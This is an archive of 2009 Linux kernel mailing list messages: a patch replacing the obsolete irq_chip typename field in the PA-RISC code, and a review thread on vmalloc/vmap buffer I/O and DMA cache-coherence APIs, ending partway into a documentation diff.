X-Virus-Status: Clean
X-Spam-Status: No, score=-1.8 required=5.0 tests=ALL_TRUSTED,AWL
	autolearn=failed version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on www.tglx.de
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2340 gmane.linux.kernel:915271
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2340>

The typename member of struct irq_chip was kept for migration purposes
and is obsolete since more than 2 years. Fix up the leftovers.

Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: linux-parisc@vger.kernel.org
---
 arch/parisc/kernel/irq.c |    4 ++--
 drivers/parisc/dino.c    |    2 +-
 drivers/parisc/eisa.c    |    2 +-
 drivers/parisc/gsc.c     |    2 +-
 drivers/parisc/iosapic.c |    2 +-
 drivers/parisc/superio.c |    2 +-
 6 files changed, 7 insertions(+), 7 deletions(-)

Index: linux-2.6/arch/parisc/kernel/irq.c
===================================================================
--- linux-2.6.orig/arch/parisc/kernel/irq.c
+++ linux-2.6/arch/parisc/kernel/irq.c
@@ -145,7 +145,7 @@ static int cpu_set_affinity_irq(unsigned
 #endif
 
 static struct irq_chip cpu_interrupt_type = {
-	.typename	= "CPU",
+	.name		= "CPU",
 	.startup	= cpu_startup_irq,
 	.shutdown	= cpu_disable_irq,
 	.enable		= cpu_enable_irq,
@@ -192,7 +192,7 @@ int show_interrupts(struct seq_file *p, 
 		seq_printf(p, "%10u ", kstat_irqs(i));
 #endif
 
-		seq_printf(p, " %14s", irq_desc[i].chip->typename);
+		seq_printf(p, " %14s", irq_desc[i].chip->name);
 #ifndef PARISC_IRQ_CR16_COUNTS
 		seq_printf(p, "  %s", action->name);
 
Index: linux-2.6/drivers/parisc/dino.c
===================================================================
--- linux-2.6.orig/drivers/parisc/dino.c
+++ linux-2.6/drivers/parisc/dino.c
@@ -354,7 +354,7 @@ static unsigned int dino_startup_irq(uns
 }
 
 static struct irq_chip dino_interrupt_type = {
-	.typename	= "GSC-PCI",
+	.name		= "GSC-PCI",
 	.startup	= dino_startup_irq,
 	.shutdown	= dino_disable_irq,
 	.enable		= dino_enable_irq, 
Index: linux-2.6/drivers/parisc/eisa.c
===================================================================
--- linux-2.6.orig/drivers/parisc/eisa.c
+++ linux-2.6/drivers/parisc/eisa.c
@@ -189,7 +189,7 @@ static unsigned int eisa_startup_irq(uns
 }
 
 static struct irq_chip eisa_interrupt_type = {
-	.typename =	"EISA",
+	.name	 =	"EISA",
 	.startup =	eisa_startup_irq,
 	.shutdown =	eisa_disable_irq,
 	.enable =	eisa_enable_irq,
Index: linux-2.6/drivers/parisc/gsc.c
===================================================================
--- linux-2.6.orig/drivers/parisc/gsc.c
+++ linux-2.6/drivers/parisc/gsc.c
@@ -149,7 +149,7 @@ static unsigned int gsc_asic_startup_irq
 }
 
 static struct irq_chip gsc_asic_interrupt_type = {
-	.typename =	"GSC-ASIC",
+	.name	 =	"GSC-ASIC",
 	.startup =	gsc_asic_startup_irq,
 	.shutdown =	gsc_asic_disable_irq,
 	.enable =	gsc_asic_enable_irq,
Index: linux-2.6/drivers/parisc/iosapic.c
===================================================================
--- linux-2.6.orig/drivers/parisc/iosapic.c
+++ linux-2.6/drivers/parisc/iosapic.c
@@ -730,7 +730,7 @@ static int iosapic_set_affinity_irq(unsi
 #endif
 
 static struct irq_chip iosapic_interrupt_type = {
-	.typename =	"IO-SAPIC-level",
+	.name	 =	"IO-SAPIC-level",
 	.startup =	iosapic_startup_irq,
 	.shutdown =	iosapic_disable_irq,
 	.enable =	iosapic_enable_irq,
Index: linux-2.6/drivers/parisc/superio.c
===================================================================
--- linux-2.6.orig/drivers/parisc/superio.c
+++ linux-2.6/drivers/parisc/superio.c
@@ -326,7 +326,7 @@ static unsigned int superio_startup_irq(
 }
 
 static struct irq_chip superio_interrupt_type = {
-	.typename =	SUPERIO,
+	.name	 =	SUPERIO,
 	.startup =	superio_startup_irq,
 	.shutdown =	superio_disable_irq,
 	.enable =	superio_enable_irq,


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [PATCH 5/6] block: permit I/O to vmalloc/vmap kernel pages
Date: Wed, 18 Nov 2009 19:10:53 +0900
Lines: 15
Approved: news@gmane.org
Message-ID: <20091118191031Q.fujita.tomonori@lab.ntt.co.jp>
References: <1258477432-2513-4-git-send-email-James.Bottomley@suse.de>
	<1258477432-2513-5-git-send-email-James.Bottomley@suse.de>
	<1258477432-2513-6-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1258539073 17505 80.91.229.12 (18 Nov 2009 10:11:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 18 Nov 2009 10:11:13 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org
To: James.Bottomley@suse.de
Original-X-From: linux-arch-owner@vger.kernel.org Wed Nov 18 11:11:06 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NAhVB-0001bd-Po
	for glka-linux-arch@lo.gmane.org; Wed, 18 Nov 2009 11:11:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754289AbZKRKK5 (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 18 Nov 2009 05:10:57 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756506AbZKRKK5
	(ORCPT <rfc822;linux-arch-outgoing>);
	Wed, 18 Nov 2009 05:10:57 -0500
Original-Received: from sh.osrg.net ([192.16.179.4]:50157 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754275AbZKRKK4 (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Wed, 18 Nov 2009 05:10:56 -0500
Original-Received: from localhost (rose.osrg.net [10.76.0.1])
	by sh.osrg.net (8.13.8/8.13.8/OSRG-NET) with ESMTP id nAIAArP1023652;
	Wed, 18 Nov 2009 19:10:53 +0900
In-Reply-To: <1258477432-2513-6-git-send-email-James.Bottomley@suse.de>
Original-Lines: 15
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-3.0 (sh.osrg.net [192.16.179.4]); Wed, 18 Nov 2009 19:10:54 +0900 (JST)
X-Virus-Scanned: clamav-milter 0.95.2 at sh
X-Virus-Status: Clean
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4651 gmane.linux.ports.parisc:2341
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2341>

On Tue, 17 Nov 2009 11:03:51 -0600
James Bottomley <James.Bottomley@suse.de> wrote:

> This updates bio_map_kern() to check for pages in the vmalloc address
> range and call the new kernel flushing APIs if the are.  This should
> allow any kernel user to pass a vmalloc/vmap area to block.
>
> Signed-off-by: James Bottomley <James.Bottomley@suse.de>
> ---
>  fs/bio.c |   20 ++++++++++++++++++--
>  1 files changed, 18 insertions(+), 2 deletions(-)

Do we need this?

Buffers that xfs_buf.c passes to block doesn't go to bio_map_kern()?

From - Thu Nov 08 21:05:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 5/6] block: permit I/O to vmalloc/vmap kernel pages
Date: Wed, 18 Nov 2009 08:50:40 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <1258552240.2540.0.camel@mulgrave.site>
References: <1258477432-2513-4-git-send-email-James.Bottomley@suse.de>
	 <1258477432-2513-5-git-send-email-James.Bottomley@suse.de>
	 <1258477432-2513-6-git-send-email-James.Bottomley@suse.de>
	 <20091118191031Q.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1258552263 27590 80.91.229.12 (18 Nov 2009 13:51:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 18 Nov 2009 13:51:03 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org
To: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 18 14:50:56 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NAkvo-0006WF-KY
	for glpp-linux-parisc@lo.gmane.org; Wed, 18 Nov 2009 14:50:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757083AbZKRNul (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 18 Nov 2009 08:50:41 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757081AbZKRNul
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 18 Nov 2009 08:50:41 -0500
Original-Received: from cantor2.suse.de ([195.135.220.15]:57685 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753158AbZKRNuk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 18 Nov 2009 08:50:40 -0500
Original-Received: from relay2.suse.de (mail2.suse.de [195.135.221.8])
	by mx2.suse.de (Postfix) with ESMTP id 3056586391;
	Wed, 18 Nov 2009 14:50:45 +0100 (CET)
In-Reply-To: <20091118191031Q.fujita.tomonori@lab.ntt.co.jp>
X-Mailer: Evolution 2.28.0 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2342 gmane.linux.kernel.cross-arch:4652
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2342>

On Wed, 2009-11-18 at 19:10 +0900, FUJITA Tomonori wrote:
> On Tue, 17 Nov 2009 11:03:51 -0600
> James Bottomley <James.Bottomley@suse.de> wrote:
> 
> > This updates bio_map_kern() to check for pages in the vmalloc address
> > range and call the new kernel flushing APIs if the are.  This should
> > allow any kernel user to pass a vmalloc/vmap area to block.
> >
> > Signed-off-by: James Bottomley <James.Bottomley@suse.de>
> > ---
> >  fs/bio.c |   20 ++++++++++++++++++--
> >  1 files changed, 18 insertions(+), 2 deletions(-)
> 
> Do we need this?
> 
> Buffers that xfs_buf.c passes to block doesn't go to bio_map_kern()?

For completeness, yes ... because xfs *should* be passing its buffers to
bio_map_kern() ... it just happens to roll its own.

James



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 5/6] block: permit I/O to vmalloc/vmap kernel pages
Date: Wed, 18 Nov 2009 23:15:48 +0900
Lines: 32
Approved: news@gmane.org
Message-ID: <20091118231538D.fujita.tomonori@lab.ntt.co.jp>
References: <1258477432-2513-6-git-send-email-James.Bottomley@suse.de>
	<20091118191031Q.fujita.tomonori@lab.ntt.co.jp>
	<1258552240.2540.0.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1258553765 716 80.91.229.12 (18 Nov 2009 14:16:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 18 Nov 2009 14:16:05 +0000 (UTC)
Cc: fujita.tomonori@lab.ntt.co.jp, linux-arch@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: James.Bottomley@suse.de
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 18 15:15:58 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NAlK9-0001p0-1F
	for glpp-linux-parisc@lo.gmane.org; Wed, 18 Nov 2009 15:15:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757033AbZKROPu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 18 Nov 2009 09:15:50 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757002AbZKROPt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 18 Nov 2009 09:15:49 -0500
Original-Received: from sh.osrg.net ([192.16.179.4]:60632 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756638AbZKROPt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 18 Nov 2009 09:15:49 -0500
Original-Received: from localhost (rose.osrg.net [10.76.0.1])
	by sh.osrg.net (8.13.8/8.13.8/OSRG-NET) with ESMTP id nAIEFmRo026190;
	Wed, 18 Nov 2009 23:15:48 +0900
In-Reply-To: <1258552240.2540.0.camel@mulgrave.site>
Original-Lines: 27
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-3.0 (sh.osrg.net [192.16.179.4]); Wed, 18 Nov 2009 23:15:48 +0900 (JST)
X-Virus-Scanned: clamav-milter 0.95.2 at sh
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2343 gmane.linux.kernel.cross-arch:4653
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2343>

On Wed, 18 Nov 2009 08:50:40 -0500
James Bottomley <James.Bottomley@suse.de> wrote:

> On Wed, 2009-11-18 at 19:10 +0900, FUJITA Tomonori wrote:
> > On Tue, 17 Nov 2009 11:03:51 -0600
> > James Bottomley <James.Bottomley@suse.de> wrote:
> > 
> > > This updates bio_map_kern() to check for pages in the vmalloc address
> > > range and call the new kernel flushing APIs if the are.  This should
> > > allow any kernel user to pass a vmalloc/vmap area to block.
> > >
> > > Signed-off-by: James Bottomley <James.Bottomley@suse.de>
> > > ---
> > >  fs/bio.c |   20 ++++++++++++++++++--
> > >  1 files changed, 18 insertions(+), 2 deletions(-)
> > 
> > Do we need this?
> > 
> > Buffers that xfs_buf.c passes to block doesn't go to bio_map_kern()?
> 
> For completeness, yes ... because xfs *should* be passing its buffers to
> bio_map_kern() ... it just happens to roll its own.

Ok, you mean that we will convert XFS to use bio_map_kern().

But adding another trick to bio_map_kern() to handle a vmalloc/vmap
area is a good move? Only XFS do such, right?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 5/6] block: permit I/O to vmalloc/vmap kernel pages
Date: Wed, 18 Nov 2009 09:21:06 -0500
Lines: 51
Approved: news@gmane.org
Message-ID: <1258554066.2540.7.camel@mulgrave.site>
References: <1258477432-2513-6-git-send-email-James.Bottomley@suse.de>
	 <20091118191031Q.fujita.tomonori@lab.ntt.co.jp>
	 <1258552240.2540.0.camel@mulgrave.site>
	 <20091118231538D.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1258554083 1946 80.91.229.12 (18 Nov 2009 14:21:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 18 Nov 2009 14:21:23 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org
To: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 18 15:21:16 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NAlPI-0004dT-9P
	for glpp-linux-parisc@lo.gmane.org; Wed, 18 Nov 2009 15:21:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757162AbZKROVJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 18 Nov 2009 09:21:09 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757122AbZKROVJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 18 Nov 2009 09:21:09 -0500
Original-Received: from cantor.suse.de ([195.135.220.2]:33168 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753491AbZKROVI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 18 Nov 2009 09:21:08 -0500
Original-Received: from relay1.suse.de (mail2.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 96A3B90975;
	Wed, 18 Nov 2009 15:21:13 +0100 (CET)
In-Reply-To: <20091118231538D.fujita.tomonori@lab.ntt.co.jp>
X-Mailer: Evolution 2.28.0 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2344 gmane.linux.kernel.cross-arch:4654
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2344>

On Wed, 2009-11-18 at 23:15 +0900, FUJITA Tomonori wrote:
> On Wed, 18 Nov 2009 08:50:40 -0500
> James Bottomley <James.Bottomley@suse.de> wrote:
> 
> > On Wed, 2009-11-18 at 19:10 +0900, FUJITA Tomonori wrote:
> > > On Tue, 17 Nov 2009 11:03:51 -0600
> > > James Bottomley <James.Bottomley@suse.de> wrote:
> > > 
> > > > This updates bio_map_kern() to check for pages in the vmalloc address
> > > > range and call the new kernel flushing APIs if the are.  This should
> > > > allow any kernel user to pass a vmalloc/vmap area to block.
> > > >
> > > > Signed-off-by: James Bottomley <James.Bottomley@suse.de>
> > > > ---
> > > >  fs/bio.c |   20 ++++++++++++++++++--
> > > >  1 files changed, 18 insertions(+), 2 deletions(-)
> > > 
> > > Do we need this?
> > > 
> > > Buffers that xfs_buf.c passes to block doesn't go to bio_map_kern()?
> > 
> > For completeness, yes ... because xfs *should* be passing its buffers to
> > bio_map_kern() ... it just happens to roll its own.
> 
> Ok, you mean that we will convert XFS to use bio_map_kern().
> 
> But adding another trick to bio_map_kern() to handle a vmalloc/vmap
> area is a good move? Only XFS do such, right?

Well, it's more a question of how we want the Linux APIs to look.
Should passing vmalloc/vmap areas into the I/O routines be wrong?  Right
at the moment it doesn't work but xfs is the only consumer.

There are definite reasons to say yes: greater flexibility for handling
large buffers which logging filesystems seem to need.

My position is either xfs is right and we should handle them correctly
(and hence all the APIs should handle them correctly including
bio_map_kern) or xfs is wrong and we should try and make it work with
current APIs (which would necessitate a large contiguous physical
allocation ... with all the associated problems).  I chose the former
with this patch.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Baechle <ralf@linux-mips.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 1/6] mm: add coherence API for DMA to vmalloc/vmap areas
Date: Wed, 18 Nov 2009 15:38:15 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20091118143815.GA17146@linux-mips.org>
References: <1258477432-2513-1-git-send-email-James.Bottomley@suse.de> <1258477432-2513-2-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1258555270 6139 80.91.229.12 (18 Nov 2009 14:41:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 18 Nov 2009 14:41:10 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 18 15:41:02 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NAliQ-0006cb-HV
	for glpp-linux-parisc@lo.gmane.org; Wed, 18 Nov 2009 15:41:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757407AbZKROiR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 18 Nov 2009 09:38:17 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757353AbZKROiP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 18 Nov 2009 09:38:15 -0500
Original-Received: from eddie.linux-mips.org ([78.24.191.182]:49887 "EHLO
	eddie.linux-mips.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757273AbZKROiM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 18 Nov 2009 09:38:12 -0500
Original-Received: from localhost.localdomain ([127.0.0.1]:59114 "EHLO h5.dl5rb.org.uk"
	rhost-flags-OK-OK-OK-FAIL) by ftp.linux-mips.org with ESMTP
	id S1493510AbZKROiQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>
	+ 1 other); Wed, 18 Nov 2009 15:38:16 +0100
Original-Received: from h5.dl5rb.org.uk (localhost.localdomain [127.0.0.1])
	by h5.dl5rb.org.uk (8.14.3/8.14.3) with ESMTP id nAIEcK1P017845;
	Wed, 18 Nov 2009 15:38:22 +0100
Original-Received: (from ralf@localhost)
	by h5.dl5rb.org.uk (8.14.3/8.14.3/Submit) id nAIEcFC6017824;
	Wed, 18 Nov 2009 15:38:15 +0100
Content-Disposition: inline
In-Reply-To: <1258477432-2513-2-git-send-email-James.Bottomley@suse.de>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2345 gmane.linux.kernel.cross-arch:4655
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2345>

On Tue, Nov 17, 2009 at 11:03:47AM -0600, James Bottomley wrote:

> On Virtually Indexed architectures (which don't do automatic alias
> resolution in their caches), we have to flush via the correct
> virtual address to prepare pages for DMA.  On some architectures
> (like arm) we cannot prevent the CPU from doing data movein along
> the alias (and thus giving stale read data), so we not only have to
> introduce a flush API to push dirty cache lines out, but also an invalidate
> API to kill inconsistent cache lines that may have moved in before
> DMA changed the data

The API looks right for MIPS and trivial to implement based on existing
code, so feel free to throw in my Ack on the generic parts.

The new APIs deserve documentation in Documentation/cachetlb.txt.

  Ralf
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [PATCH 1/6] mm: add coherence API for DMA to vmalloc/vmap areas
Date: Wed, 18 Nov 2009 10:13:37 -0500
Lines: 59
Approved: news@gmane.org
Message-ID: <1258557217.2540.12.camel@mulgrave.site>
References: <1258477432-2513-1-git-send-email-James.Bottomley@suse.de>
	 <1258477432-2513-2-git-send-email-James.Bottomley@suse.de>
	 <20091118143815.GA17146@linux-mips.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1258557238 13573 80.91.229.12 (18 Nov 2009 15:13:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 18 Nov 2009 15:13:58 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org
To: Ralf Baechle <ralf@linux-mips.org>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Nov 18 16:13:50 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NAmE4-0006ye-8D
	for glka-linux-arch@lo.gmane.org; Wed, 18 Nov 2009 16:13:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757060AbZKRPNg (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 18 Nov 2009 10:13:36 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757091AbZKRPNg
	(ORCPT <rfc822;linux-arch-outgoing>);
	Wed, 18 Nov 2009 10:13:36 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:44949 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757060AbZKRPNf (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Wed, 18 Nov 2009 10:13:35 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id A2FF08EE101;
	Wed, 18 Nov 2009 07:13:41 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id AZ1f-vYiu-4W; Wed, 18 Nov 2009 07:13:41 -0800 (PST)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id E6CCE8EE0DF;
	Wed, 18 Nov 2009 07:13:40 -0800 (PST)
In-Reply-To: <20091118143815.GA17146@linux-mips.org>
X-Mailer: Evolution 2.28.0 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4657 gmane.linux.ports.parisc:2346
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2346>

On Wed, 2009-11-18 at 15:38 +0100, Ralf Baechle wrote:
> On Tue, Nov 17, 2009 at 11:03:47AM -0600, James Bottomley wrote:
> 
> > On Virtually Indexed architectures (which don't do automatic alias
> > resolution in their caches), we have to flush via the correct
> > virtual address to prepare pages for DMA.  On some architectures
> > (like arm) we cannot prevent the CPU from doing data movein along
> > the alias (and thus giving stale read data), so we not only have to
> > introduce a flush API to push dirty cache lines out, but also an invalidate
> > API to kill inconsistent cache lines that may have moved in before
> > DMA changed the data
> 
> The API looks right for MIPS and trivial to implement based on existing
> code, so feel free to throw in my Ack on the generic parts.
> 
> The new APIs deserve documentation in Documentation/cachetlb.txt.

True (mutter, hate doing docs, mutter).

How about this?

James

---

diff --git a/Documentation/cachetlb.txt b/Documentation/cachetlb.txt
index da42ab4..7d1055c 100644
--- a/Documentation/cachetlb.txt
